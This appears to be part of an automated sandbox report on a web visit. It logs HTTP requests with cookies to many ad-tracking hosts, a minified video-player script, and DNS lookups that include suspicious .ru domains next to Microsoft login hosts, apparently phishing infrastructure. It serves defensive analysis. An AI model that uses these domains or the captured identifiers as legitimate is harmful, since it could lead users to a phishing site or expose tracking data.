dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844\|49276-1-1733947494846\|72352-1-1733947495841\|80742-1-1733947496841\|81309-1-1733947497862\|121998-1-1733947498843\|144228-1-1733947499841\|144229-1-1733947500841\|144230-1-1733947501885\|144231-1-1733947502851\|144232-1-1733947503851\|144233-1-1733947504852\|144234-1-1733947505852\|144235-1-1733947506859
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=g8f47s39e399f3fe&google_push&google_sc&google_hm=WjFud1dRQUFBRVZ0NEFPNQ== HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkZCdtS2558hvrmZNLIDsqE_77kXEO06q-qT8VtnvTU8u7xMytXnVkk2sEu4yg
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=88&external_user_id=Z1nwWQAAAEVt4AO5&C=1 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CMID=Z1nwdEt3ubIAACjTAvMoiQAA; CMPS=1246; CMPRO=1246
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=121998&dpuuid=e4b4aa4595001beb4c16f00fed61c5db HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844\|49276-1-1733947494846\|72352-1-1733947495841\|80742-1-1733947496841\|81309-1-1733947497862\|121998-1-1733947498843\|144228-1-1733947499841\|144229-1-1733947500841\|144230-1-1733947501885\|144231-1-1733947502851\|144232-1-1733947503851\|144233-1-1733947504852\|144234-1-1733947505852\|144235-1-1733947506859\|144236-1-1733947507881\|144237-1-1733947508844
Source: global traffic	HTTP traffic detected: GET /setuid?entity=158&code=Z1nwWQAAAEVt4AO5 HTTP/1.1Host: ib.adnxs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid2=6423475379254820486; anj=dTM7k!M4.FErk#WF']wIg2In<n?)UA!]tbPl1MwL(!R7qUY%iHCCuilYWJX#AKdr3cX$%$$PDZ!<QG=%9sk?bIRwi:w9Ld1t)7QCFiqPY/y@Yw#tu<V+/4+5
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=88&external_user_id=Z1nwWQAAAEVt4AO5&C=1 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CMID=Z1nwdEt3ubIAACjTAvMoiQAA; CMPS=1246; CMPRO=1246
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537148856&val=Z1nwWQAAAEVt4AO5 HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=Z1nwWQAAAEVt4AO5 HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537148856&val=Z1nwWQAAAEVt4AO5&cc=1 HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=68cd71ba-0737-4d72-a8c5-d70c7224a1be\|1733947512
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537148856&val=Z1nwWQAAAEVt4AO5&cc=1 HTTP/1.1Host: us-u.openx.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=68cd71ba-0737-4d72-a8c5-d70c7224a1be\|1733947512
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=Z1nwWQAAAEVt4AO5 HTTP/1.1Host: image2.pubmatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KRTBCOOKIE_218=22978-Z1nwWQAAAEVt4AO5&KRTB&23194-Z1nwWQAAAEVt4AO5&KRTB&23209-Z1nwWQAAAEVt4AO5&KRTB&23244-Z1nwWQAAAEVt4AO5; PugT=1733947514
Source: global traffic	HTTP traffic detected: GET /sg/adobe/1/cm?gdpr=0&gdpr_consent= HTTP/1.1Host: trc.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fr/b.php?p=1531105787105294&e=Z1nwWQAAAEVt4AO5&t=2592000&o=0 HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?nid=adobe HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sg/adobe/1/cm?gdpr=0&gdpr_consent= HTTP/1.1Host: trc.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fr/b.php?p=1531105787105294&e=Z1nwWQAAAEVt4AO5&t=2592000&o=0 HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=390122&dpuuid=wDRi3Y1XWudtyec5KKvj7ggue68 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844\|49276-1-1733947494846\|72352-1-1733947495841\|80742-1-1733947496841\|81309-1-1733947497862\|121998-1-1733947498843\|144228-1-1733947499841\|144229-1-1733947500841\|144230-1-1733947501885\|144231-1-1733947502851\|144232-1-1733947503851\|144233-1-1733947504852\|144234-1-1733947505852\|144235-1-1733947506859\|144236-1-1733947507881\|144237-1-1733947508844\|147592-1-1733947509840\|390122-1-1733947510840
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=390122&dpuuid=wDRi3Y1XWudtyec5KKvj7ggue68 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844\|49276-1-1733947494846\|72352-1-1733947495841\|80742-1-1733947496841\|81309-1-1733947497862\|121998-1-1733947498843\|144228-1-1733947499841\|144229-1-1733947500841\|144230-1-1733947501885\|144231-1-1733947502851\|144232-1-1733947503851\|144233-1-1733947504852\|144234-1-1733947505852\|144235-1-1733947506859\|144236-1-1733947507881\|144237-1-1733947508844\|147592-1-1733947509840\|390122-1-1733947510840
Source: global traffic	HTTP traffic detected: GET /messaging-agent-availability/api/account/60270350/getSkillAvailability?skillID=1832735030 HTTP/1.1Host: mcraa.fs.liveperson.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://publisher.liveperson.netSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://publisher.liveperson.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /messaging-agent-availability/api/account/60270350/getSkillAvailability?skillID=1832735030 HTTP/1.1Host: mcraa.fs.liveperson.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://publisher.liveperson.netSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://publisher.liveperson.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: W/"16-svzUxjIHnoYOsDFJLesSuMDPeZ8"
Source: global traffic	HTTP traffic detected: GET /messaging-agent-availability/api/account/60270350/getSkillAvailability?skillID=1832735030 HTTP/1.1Host: mcraa.fs.liveperson.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /messaging-agent-availability/api/account/60270350/getSkillAvailability?skillID=1832735030 HTTP/1.1Host: mcraa.fs.liveperson.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: W/"16-svzUxjIHnoYOsDFJLesSuMDPeZ8"

Source: chromecache_462.2.dr, chromecache_482.2.dr	String found in binary or memory: </svg>`;function EW(a,s){return l=>{const p=AW(l).map(f=>CW(f));s.setValue({...s.value,shareOptions:p});function d(){s.setValue({...s.value,shareDialogOpened:!0})}function m(){var f,E,I,D,N,O;s.setValue({...s.value,shareDialogOpened:!1}),(O=(N=(D=(I=(E=(f=a.renderRoot)==null?void 0:f.querySelector("ump-controls"))==null?void 0:E.renderRoot.querySelector("ump-control-bar"))==null?void 0:I.renderRoot.querySelector("ump-more-menu"))==null?void 0:D.renderRoot.querySelector('[data-id="more-menu-button"]'))==null?void 0:N.focus)==null\|\|O.call(N)}const y=Hh(a);return y.addEventListener("share-button-clicked",d),y.addEventListener("share-dialog-closed",m),()=>{y.removeAllListeners()}}}function AW(a){return a.options.share?a.options.shareOptions.length===0?wM:a.options.shareOptions:[]}function CW(a){const s=new URL(window.location.href);s.searchParams.delete("jsapi");const l=s.toString();switch(a){case"facebook":return{id:"facebook",url:`https://www.facebook.com/share.php?u=${encodeURIComponent(l)}`,icon:SW};case"linkedin":return{id:"linkedin",url:`https://www.linkedin.com/shareArticle?mini=true&url=${encodeURIComponent(l)}&title=&summary=&source=`,icon:TW};case"twitter":return{id:"twitter",url:`https://x.com/share?url=${encodeURIComponent(l)}&text=`,icon:kW};case"mail":return{id:"mail",url:`mailto:?subject=Check out this great video&body=${encodeURIComponent(l)}`,icon:xW};default:return{id:"copy",url:l,icon:""}}}function IW(){return a=>{if(a.options.sources.length===0)return()=>{};a.addEventListener("loadsourcesrequest",s);async function s(){a.dispatchEvent(new jt.util.FakeEvent("playerloadmediastart"));const l=lg(a.options.sources);try{await a.load(l[0].src,a.options.startTime,l[0].type)}catch{a.dispatchShakaError(jt.util.Error.Severity.CRITICAL,jt.util.Error.Category.MEDIA,jt.util.Error.Code.MEDIA_SOURCE_OPERATION_FAILED);return}await a.loadCaptions(),a.dispatchEvent(new jt.util.FakeEvent("playerloadmediaend")),a.dispatchEvent(new jt.util.FakeEvent("loadsourcescomplete"))}return()=>{}}}function MW(){try{return crypto.randomUUID()}catch{return`10000000-1000-4000-8000-${1e11}`.replace(/[018]/g,a=>(a^crypto.getRandomValues(new Uint8Array(1))[0]&15>>a/4).toString(16))}}var _W=Object.defineProperty,PW=Object.getOwnPropertyDescriptor,cg=(a,s,l,p)=>{for(var d=p>1?void 0:p?PW(s,l):s,m=a.length-1,y;m>=0;m--)(y=a[m])&&(d=(p?y(s,l,d):y(d))\|\|d);return p&&d&&_W(s,l,d),d};jt.polyfill.installAll();const i3="options";function a3(a,s,l){const p=a instanceof $a?a:$a.getById(a);return l&&p.addEventListener("ready",l,{once:!0}),p.setAttribute("options",JSON.stringify(s)),p}Object.defineProperty(a3,"allowAutoplay",{get:PL,set:QX});let $a=class extends Cn{constructor(){super(...arguments),this.umpId=`ump-${MW()}`,this.ariaLabel=null,this.playerStateContext=new Rw(this,{context:mr,initialValue:xM}),this.onVideoEvent=a=>{this.dispatchEvent(new kt(a.type,a.target))}}render(){return ht` equals www.facebook.com (Facebook)
Source: chromecache_462.2.dr, chromecache_482.2.dr	String found in binary or memory: </svg>`;function EW(a,s){return l=>{const p=AW(l).map(f=>CW(f));s.setValue({...s.value,shareOptions:p});function d(){s.setValue({...s.value,shareDialogOpened:!0})}function m(){var f,E,I,D,N,O;s.setValue({...s.value,shareDialogOpened:!1}),(O=(N=(D=(I=(E=(f=a.renderRoot)==null?void 0:f.querySelector("ump-controls"))==null?void 0:E.renderRoot.querySelector("ump-control-bar"))==null?void 0:I.renderRoot.querySelector("ump-more-menu"))==null?void 0:D.renderRoot.querySelector('[data-id="more-menu-button"]'))==null?void 0:N.focus)==null\|\|O.call(N)}const y=Hh(a);return y.addEventListener("share-button-clicked",d),y.addEventListener("share-dialog-closed",m),()=>{y.removeAllListeners()}}}function AW(a){return a.options.share?a.options.shareOptions.length===0?wM:a.options.shareOptions:[]}function CW(a){const s=new URL(window.location.href);s.searchParams.delete("jsapi");const l=s.toString();switch(a){case"facebook":return{id:"facebook",url:`https://www.facebook.com/share.php?u=${encodeURIComponent(l)}`,icon:SW};case"linkedin":return{id:"linkedin",url:`https://www.linkedin.com/shareArticle?mini=true&url=${encodeURIComponent(l)}&title=&summary=&source=`,icon:TW};case"twitter":return{id:"twitter",url:`https://x.com/share?url=${encodeURIComponent(l)}&text=`,icon:kW};case"mail":return{id:"mail",url:`mailto:?subject=Check out this great video&body=${encodeURIComponent(l)}`,icon:xW};default:return{id:"copy",url:l,icon:""}}}function IW(){return a=>{if(a.options.sources.length===0)return()=>{};a.addEventListener("loadsourcesrequest",s);async function s(){a.dispatchEvent(new jt.util.FakeEvent("playerloadmediastart"));const l=lg(a.options.sources);try{await a.load(l[0].src,a.options.startTime,l[0].type)}catch{a.dispatchShakaError(jt.util.Error.Severity.CRITICAL,jt.util.Error.Category.MEDIA,jt.util.Error.Code.MEDIA_SOURCE_OPERATION_FAILED);return}await a.loadCaptions(),a.dispatchEvent(new jt.util.FakeEvent("playerloadmediaend")),a.dispatchEvent(new jt.util.FakeEvent("loadsourcescomplete"))}return()=>{}}}function MW(){try{return crypto.randomUUID()}catch{return`10000000-1000-4000-8000-${1e11}`.replace(/[018]/g,a=>(a^crypto.getRandomValues(new Uint8Array(1))[0]&15>>a/4).toString(16))}}var _W=Object.defineProperty,PW=Object.getOwnPropertyDescriptor,cg=(a,s,l,p)=>{for(var d=p>1?void 0:p?PW(s,l):s,m=a.length-1,y;m>=0;m--)(y=a[m])&&(d=(p?y(s,l,d):y(d))\|\|d);return p&&d&&_W(s,l,d),d};jt.polyfill.installAll();const i3="options";function a3(a,s,l){const p=a instanceof $a?a:$a.getById(a);return l&&p.addEventListener("ready",l,{once:!0}),p.setAttribute("options",JSON.stringify(s)),p}Object.defineProperty(a3,"allowAutoplay",{get:PL,set:QX});let $a=class extends Cn{constructor(){super(...arguments),this.umpId=`ump-${MW()}`,this.ariaLabel=null,this.playerStateContext=new Rw(this,{context:mr,initialValue:xM}),this.onVideoEvent=a=>{this.dispatchEvent(new kt(a.type,a.target))}}render(){return ht` equals www.linkedin.com (Linkedin)

Source: global traffic	DNS traffic detected: DNS query: palissade.ca
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: wdii.cxbeurue.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: zebyhp1snpte6zwx7wxc9q8do5y4psjhhcwoyloymg1xs4x7joz2zz.birsbunh.ru
Source: global traffic	DNS traffic detected: DNS query: cdn.botframework.com
Source: global traffic	DNS traffic detected: DNS query: play.vidyard.com
Source: global traffic	DNS traffic detected: DNS query: publisher.liveperson.net
Source: global traffic	DNS traffic detected: DNS query: lpcdn.lpsnmedia.net
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: lptag.liveperson.net
Source: global traffic	DNS traffic detected: DNS query: assets.adobedtm.com
Source: global traffic	DNS traffic detected: DNS query: login.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: dpm.demdex.net
Source: global traffic	DNS traffic detected: DNS query: app.powerbi.com
Source: global traffic	DNS traffic detected: DNS query: accdn.lpsnmedia.net
Source: global traffic	DNS traffic detected: DNS query: static-assets.fs.liveperson.com
Source: global traffic	DNS traffic detected: DNS query: mscom.demdex.net
Source: global traffic	DNS traffic detected: DNS query: msftenterprise.sc.omtrdc.net
Source: global traffic	DNS traffic detected: DNS query: cm.everesttech.net
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: api.powerbi.com
Source: global traffic	DNS traffic detected: DNS query: content.powerapps.com
Source: global traffic	DNS traffic detected: DNS query: ib.adnxs.com
Source: global traffic	DNS traffic detected: DNS query: idsync.rlcdn.com
Source: global traffic	DNS traffic detected: DNS query: cm.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: rtd.tubemogul.com
Source: global traffic	DNS traffic detected: DNS query: idpix.media6degrees.com
Source: global traffic	DNS traffic detected: DNS query: rtd-tm.everesttech.net
Source: global traffic	DNS traffic detected: DNS query: analytics.twitter.com
Source: global traffic	DNS traffic detected: DNS query: va.v.liveperson.net
Source: global traffic	DNS traffic detected: DNS query: match.adsrvr.org
Source: global traffic	DNS traffic detected: DNS query: cms.quantserve.com
Source: global traffic	DNS traffic detected: DNS query: servedby.flashtalking.com
Source: global traffic	DNS traffic detected: DNS query: a.tribalfusion.com
Source: global traffic	DNS traffic detected: DNS query: s.tribalfusion.com
Source: global traffic	DNS traffic detected: DNS query: www.clarity.ms
Source: global traffic	DNS traffic detected: DNS query: cms.analytics.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: px.owneriq.net
Source: global traffic	DNS traffic detected: DNS query: jadserve.postrelease.com
Source: global traffic	DNS traffic detected: DNS query: ds.reson8.com
Source: global traffic	DNS traffic detected: DNS query: bttrack.com
Source: global traffic	DNS traffic detected: DNS query: dmpsync.3lift.com
Source: global traffic	DNS traffic detected: DNS query: dc.services.visualstudio.com
Source: global traffic	DNS traffic detected: DNS query: ups.analytics.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: j.clarity.ms
Source: global traffic	DNS traffic detected: DNS query: ag.innovid.com
Source: global traffic	DNS traffic detected: DNS query: rtb.adentifi.com
Source: global traffic	DNS traffic detected: DNS query: sync.crwdcntrl.net
Source: global traffic	DNS traffic detected: DNS query: sync-tm.everesttech.net
Source: global traffic	DNS traffic detected: DNS query: munchkin.marketo.net
Source: global traffic	DNS traffic detected: DNS query: dsum-sec.casalemedia.com
Source: global traffic	DNS traffic detected: DNS query: pixel.rubiconproject.com
Source: global traffic	DNS traffic detected: DNS query: us-u.openx.net
Source: global traffic	DNS traffic detected: DNS query: image2.pubmatic.com
Source: global traffic	DNS traffic detected: DNS query: sync.search.spotxchange.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: trc.taboola.com
Source: global traffic	DNS traffic detected: DNS query: sync.srv.stackadapt.com
Source: global traffic	DNS traffic detected: DNS query: mcraa.fs.liveperson.com

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1614610025:1733945874:L96josrLVE-knejYujrVw4uaAZR2vOMBlVZWB4gUmq8/8f0814019e945e80/bLXeIStl9K16VUXftwRsJKoVhDEtY7L1qIQUkBq7AW0-1733947407-1.1.1.1-ngo2ajOIDWRyQtpeo0e_WMl9a2U.F8vLHQPBI2w3W96qZkhv73cIiQhrUaikLqYu HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3248sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: bLXeIStl9K16VUXftwRsJKoVhDEtY7L1qIQUkBq7AW0-1733947407-1.1.1.1-ngo2ajOIDWRyQtpeo0e_WMl9a2U.F8vLHQPBI2w3W96qZkhv73cIiQhrUaikLqYusec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/pojwi/0x4AAAAAAA0qprqcNTVtSMlW/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

